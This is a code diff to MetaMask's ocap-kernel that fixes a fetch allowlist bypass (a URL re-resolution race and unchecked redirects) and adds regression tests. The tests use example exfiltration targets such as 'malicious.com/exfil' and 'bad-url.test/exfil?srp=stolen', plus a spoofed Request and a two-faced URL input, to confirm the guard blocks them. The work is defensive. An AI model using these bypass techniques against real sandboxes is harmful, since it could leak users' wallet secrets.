fix(ocap-kernel): request only the URL the fetch caveat approved

packages/kernel-language-model-service/CHANGELOG.md

@@ -7,4 +7,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
 
 ## [Unreleased]
 
+### Security
+
+- `makeHostRestrictedFetch` can no longer reach a host outside `allowedHosts`. The host was checked against one resolution of the input while `fetch` resolved it again (CWE-367), and a redirect out of the allowlist was followed unchecked ([#1026](https://github.com/MetaMask/ocap-kernel/pull/1026))
+  - `redirect: 'follow'` no longer reaches the hop unchecked, so the `baseFetch` argument is always called with `redirect: 'manual'` and must honour it. A `dispatcher` in `init` is rejected, and a redirect that keeps a body that cannot be sent again now fails
+
 [Unreleased]: https://github.com/MetaMask/ocap-kernel/

packages/kernel-language-model-service/src/ollama/fetch.test.ts

@@ -1,4 +1,5 @@
 import '@ocap/repo-tools/test-utils/mock-endoify';
+import { makeTwoFacedFetchInput } from '@ocap/repo-tools/test-utils/fetch-input';
 import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
 
 import { makeHostRestrictedFetch } from './fetch.ts';
@@ -20,7 +21,7 @@ describe('makeHostRestrictedFetch', () => {
   beforeEach(() => {
     hardenSpy = vi.spyOn(global, 'harden');
     originalFetch = global.fetch;
-    vi.spyOn(global, 'fetch').mockImplementation(vi.fn());
+    vi.spyOn(global, 'fetch').mockResolvedValue(new Response('ok'));
     restrictedFetch = makeHostRestrictedFetch([mockHost]);
   });
 
@@ -42,7 +43,11 @@ describe('makeHostRestrictedFetch', () => {
 
         await restrictedFetch(url);
 
-        expect(global.fetch).toHaveBeenCalledWith(url);
+        expect(global.fetch).toHaveBeenCalledWith(url, {
+          redirect: 'manual',
+          integrity: '',
+          headers: expect.any(Headers),
+        });
       },
     );
 
@@ -93,15 +98,101 @@ describe('makeHostRestrictedFetch', () => {
 
       await restrictedFetch(mockUrl, options);
 
-      expect(global.fetch).toHaveBeenCalledWith(mockUrl, options);
+      expect(global.fetch).toHaveBeenCalledWith(mockUrl, {
+        ...options,
+        redirect: 'manual',
+        integrity: '',
+        headers: expect.any(Headers),
+      });
     });
 
     it('should handle Request objects correctly', async () => {
       const request = new Request(mockUrl);
 
       await restrictedFetch(request);
 
-      expect(global.fetch).toHaveBeenCalledWith(request);
+      const [forwarded] = (global.fetch as ReturnType<typeof vi.fn>).mock
+        .calls[0] as [Request];
+      expect(forwarded).toBeInstanceOf(Request);
+      expect(forwarded).not.toBe(request);
+      expect(forwarded.url).toBe(mockUrl);
+    });
+  });
+
+  describe('input that resolves differently on each read', () => {
+    it('throws rather than quietly fetching whichever URL was shown first', async () => {
+      await expect(
+        restrictedFetch(
+          makeTwoFacedFetchInput(mockUrl, 'http://malicious.com/exfil').input,
+        ),
+      ).rejects.toThrow('resolved to a different URL when read again');
+
+      expect(global.fetch).not.toHaveBeenCalled();
+    });
+
+    it('still host-checks a stringifier that resolves consistently', async () => {
+      await expect(
+        restrictedFetch(
+          makeTwoFacedFetchInput(
+            'http://malicious.com/exfil',
+            'http://malicious.com/exfil',
+          ).input,
+        ),
+      ).rejects.toThrow('Invalid host: malicious.com');
+
+      expect(global.fetch).not.toHaveBeenCalled();
+    });
+
+    it('throws for a Request subclass that overrides its url getter', async () => {
+      class SpoofedRequest extends Request {
+        override get url(): string {
+          return mockUrl;
+        }
+      }
+
+      await expect(
+        restrictedFetch(new SpoofedRequest('http://malicious.com/exfil')),
+      ).rejects.toThrow('Invalid host: malicious.com');
+
+      expect(global.fetch).not.toHaveBeenCalled();
+    });
+  });
+
+  describe('redirects', () => {
+    const redirectTo = (location: string): Response =>
+      new Response('', { status: 302, headers: { location } });
+
+    it('throws for a hop to a host outside the allowlist, and never requests it', async () => {
+      (global.fetch as ReturnType<typeof vi.fn>)
+        .mockResolvedValueOnce(redirectTo('http://malicious.com/exfil'))
+        .mockResolvedValue(new Response('exfiltrated'));
+
+      await expect(restrictedFetch(mockUrl)).rejects.toThrow(
+        'Invalid host: malicious.com, expected: localhost:8080',
+      );
+      expect(global.fetch).toHaveBeenCalledTimes(1);
+    });
+
+    it('throws for a hop to another port on the allowed hostname', async () => {
+      (global.fetch as ReturnType<typeof vi.fn>)
+        .mockResolvedValueOnce(redirectTo('http://localhost:11434/api/chat'))
+        .mockResolvedValue(new Response('exfiltrated'));
+
+      await expect(restrictedFetch(mockUrl)).rejects.toThrow(
+        'Invalid host: localhost:11434',
+      );
+      expect(global.fetch).toHaveBeenCalledTimes(1);
+    });
+
+    it('follows a hop that stays on the allowed host', async () => {
+      (global.fetch as ReturnType<typeof vi.fn>)
+        .mockResolvedValueOnce(redirectTo(`http://${mockHost}/api/moved`))
+        .mockResolvedValue(new Response('landed'));
+
+      const response = await restrictedFetch(mockUrl);
+
+      expect(await response.text()).toBe('landed');
+      expect(response.redirected).toBe(true);
     });
   });
 

packages/kernel-language-model-service/src/ollama/fetch.ts

@@ -10,29 +10,29 @@
  * use the fetch function from global scope to make requests to other hosts.
  */
 
+import { makeGuardedFetch } from '@metamask/kernel-utils';
+
 /**
- * Creates a fetch function that only allows requests to the specified origins.
+ * Creates a fetch function that only allows requests to the specified hosts.
+ * Matching is against `URL.host`, so the port is significant and the scheme is
+ * not. See {@link makeGuardedFetch}.
  *
- * @param allowedHosts - The hosts to allow requests from.
+ * @param allowedHosts - The hosts to allow requests to.
  * @param baseFetch - The fetch function to use as a base. Defaults to the global fetch function.
  * @returns A fetch function that only allows requests to the specified hosts.
  */
 export const makeHostRestrictedFetch = (
   allowedHosts: string[],
   baseFetch: typeof fetch = globalThis.fetch,
-): typeof fetch => {
-  const restrictedFetch = async (
-    ...[url, ...args]: Parameters<typeof fetch>
-  ): ReturnType<typeof fetch> => {
-    const { host } = new URL(url instanceof Request ? url.url : url);
-    if (!allowedHosts.includes(host)) {
-      throw new Error(
-        `Invalid host: ${host}, expected: ${allowedHosts.join(', ')}`,
-        { cause: { url } },
-      );
-    }
-    const response = await baseFetch(url, ...args);
-    return response;
-  };
-  return harden(restrictedFetch);
-};
+): typeof fetch =>
+  makeGuardedFetch({
+    baseFetch,
+    guard: async ({ host, href }) => {
+      if (!allowedHosts.includes(host)) {
+        throw new Error(
+          `Invalid host: ${host}, expected: ${allowedHosts.join(', ')}`,
+          { cause: { url: href } },
+        );
+      }
+    },
+  });

packages/kernel-test/src/endowments.test.ts

@@ -65,4 +65,169 @@ describe('endowments', () => {
       `error: Error: Invalid host: ${badHost}`,
     ]);
   });
+
+  // Regression test for the CWE-367 escape reported in
+  // MetaMask/MetaMask-planning#7557: a vat handed `fetch` an input that named
+  // an allowlisted host when the caveat read it and a forbidden host when
+  // `fetch` read it again.
+  it('confines a vat that resolves a fetch input differently on each read', async () => {
+    const vatId: VatId = 'v1';
+    const v1Root: KRef = 'ko4';
+    const { logger, entries } = makeTestLogger();
+    const database = await makeSQLKernelDatabase({});
+    const kernel = await makeKernel(
+      database,
+      true,
+      logger,
+      getWorkerFile('mock-fetch'),
+    );
+    const goodHost = 'good-url.test';
+    const badHost = 'bad-url.test';
+    await kernel.launchSubcluster({
+      bootstrap: 'main',
+      vats: {
+        main: {
+          bundleSpec: getBundleSpec('endowment-fetch'),
+          parameters: {},
+          globals: ['fetch', 'Request', 'Headers', 'Response'],
+          network: { allowedHosts: [goodHost] },
+        },
+      },
+    });
+    await waitUntilQuiescent();
+
+    const decoyUrl = `https://${goodHost}/decoy`;
+    const targetUrl = `https://${badHost}/exfil?srp=stolen`;
+
+    await kernel.queueMessage(v1Root, 'fetchWithTwoFacedUrl', [
+      decoyUrl,
+      targetUrl,
+    ]);
+    await waitUntilQuiescent();
+
+    await kernel.queueMessage(v1Root, 'fetchWithSpoofedRequest', [
+      decoyUrl,
+      targetUrl,
+    ]);
+    await waitUntilQuiescent();
+
+    expect(extractTestLogs(entries, vatId)).toStrictEqual([
+      'buildRootObject',
+      'bootstrap',
+      'error: Error: fetch input resolved to a different URL when read again.',
+      // Two reads, both the kernel's: it resolves once and checks once.
+      'reads: 2',
+      // The copy defeats the lying getter; see `resolveFetchInput`.
+      `error: Error: Invalid host: ${badHost}`,
+    ]);
+  });
+
+  // Regression test for the unchecked redirect hop; see `makeGuardedFetch`.
+  it('confines a vat whose allowed host redirects it elsewhere', async () => {
+    const vatId: VatId = 'v1';
+    const v1Root: KRef = 'ko4';
+    const { logger, entries } = makeTestLogger();
+    const database = await makeSQLKernelDatabase({});
+    const kernel = await makeKernel(
+      database,
+      true,
+      logger,
+      getWorkerFile('mock-fetch'),
+    );
+    const goodHost = 'good-url.test';
+    const badHost = 'bad-url.test';
+    await kernel.launchSubcluster({
+      bootstrap: 'main',
+      vats: {
+        main: {
+          bundleSpec: getBundleSpec('endowment-fetch'),
+          parameters: {},
+          globals: ['fetch', 'Request', 'Headers', 'Response'],
+          network: { allowedHosts: [goodHost] },
+        },
+      },
+    });
+    await waitUntilQuiescent();
+
+    const redirectFrom = (target: string): string =>
+      `https://${goodHost}/start?redirectTo=${encodeURIComponent(target)}`;
+
+    await kernel.queueMessage(v1Root, 'fetchFollowingRedirect', [
+      redirectFrom(`https://${badHost}/exfil?srp=stolen`),
+    ]);
+    await waitUntilQuiescent();
+
+    await kernel.queueMessage(v1Root, 'fetchFollowingRedirect', [
+      redirectFrom(`https://${goodHost}/landed`),
+    ]);
+    await waitUntilQuiescent();
+
+    expect(extractTestLogs(entries, vatId)).toStrictEqual([
+      'buildRootObject',
+      'bootstrap',
+      `error: Error: Invalid host: ${badHost}`,
+      `fetched: https://${goodHost}/landed`,
+      // Overridden all the way through the Snaps endowment, which rebuilds the
+      // init before calling the real fetch.
+      'redirect mode: manual',
+      'redirected: true',
+      'body: Hello, world!',
+    ]);
+  });
+
+  // The digest is spent on the body the chain ends on; see `makeGuardedFetch`.
+  it('checks a vat’s integrity against the resource a redirect led to', async () => {
+    const vatId: VatId = 'v1';
+    const v1Root: KRef = 'ko4';
+    const { logger, entries } = makeTestLogger();
+    const database = await makeSQLKernelDatabase({});
+    const kernel = await makeKernel(
+      database,
+      true,
+      logger,
+      getWorkerFile('mock-fetch'),
+    );
+    const goodHost = 'good-url.test';
+    await kernel.launchSubcluster({
+      bootstrap: 'main',
+      vats: {
+        main: {
+          bundleSpec: getBundleSpec('endowment-fetch'),
+          parameters: {},
+          globals: ['fetch', 'Request', 'Headers', 'Response'],
+          network: { allowedHosts: [goodHost] },
+        },
+      },
+    });
+    await waitUntilQuiescent();
+
+    const landed = `https://${goodHost}/landed`;
+    const start = `https://${goodHost}/start?redirectTo=${encodeURIComponent(landed)}`;
+    // Of `Hello, world!`, which the mock answers `/landed` with.
+    const resourceDigest =
+      'sha256-MV9b23bQeMQ7isAGTkoBZGErH853yGk0W/yUx1iU7dM=';
+    const otherDigest = 'sha256-LPJNul+wow4m6DsqxbninhsWHlwfp0JecwQzYpOLmCQ=';
+
+    await kernel.queueMessage(v1Root, 'fetchWithIntegrity', [
+      start,
+      resourceDigest,
+    ]);
+    await waitUntilQuiescent();
+
+    await kernel.queueMessage(v1Root, 'fetchWithIntegrity', [
+      start,
+      otherDigest,
+    ]);
+    await waitUntilQuiescent();
+
+    expect(extractTestLogs(entries, vatId)).toStrictEqual([
+      'buildRootObject',
+      'bootstrap',
+      // Read through the hardened Snaps response wrapper, which the digest is
+      // checked through too — `fetch` handed the same digest would have held it
+      // against the 302's body and failed.
+      'body: Hello, world!',
+      `error: Error: Fetch of ${landed} does not match the requested integrity \`${otherDigest}\`.`,
+    ]);
+  });
 });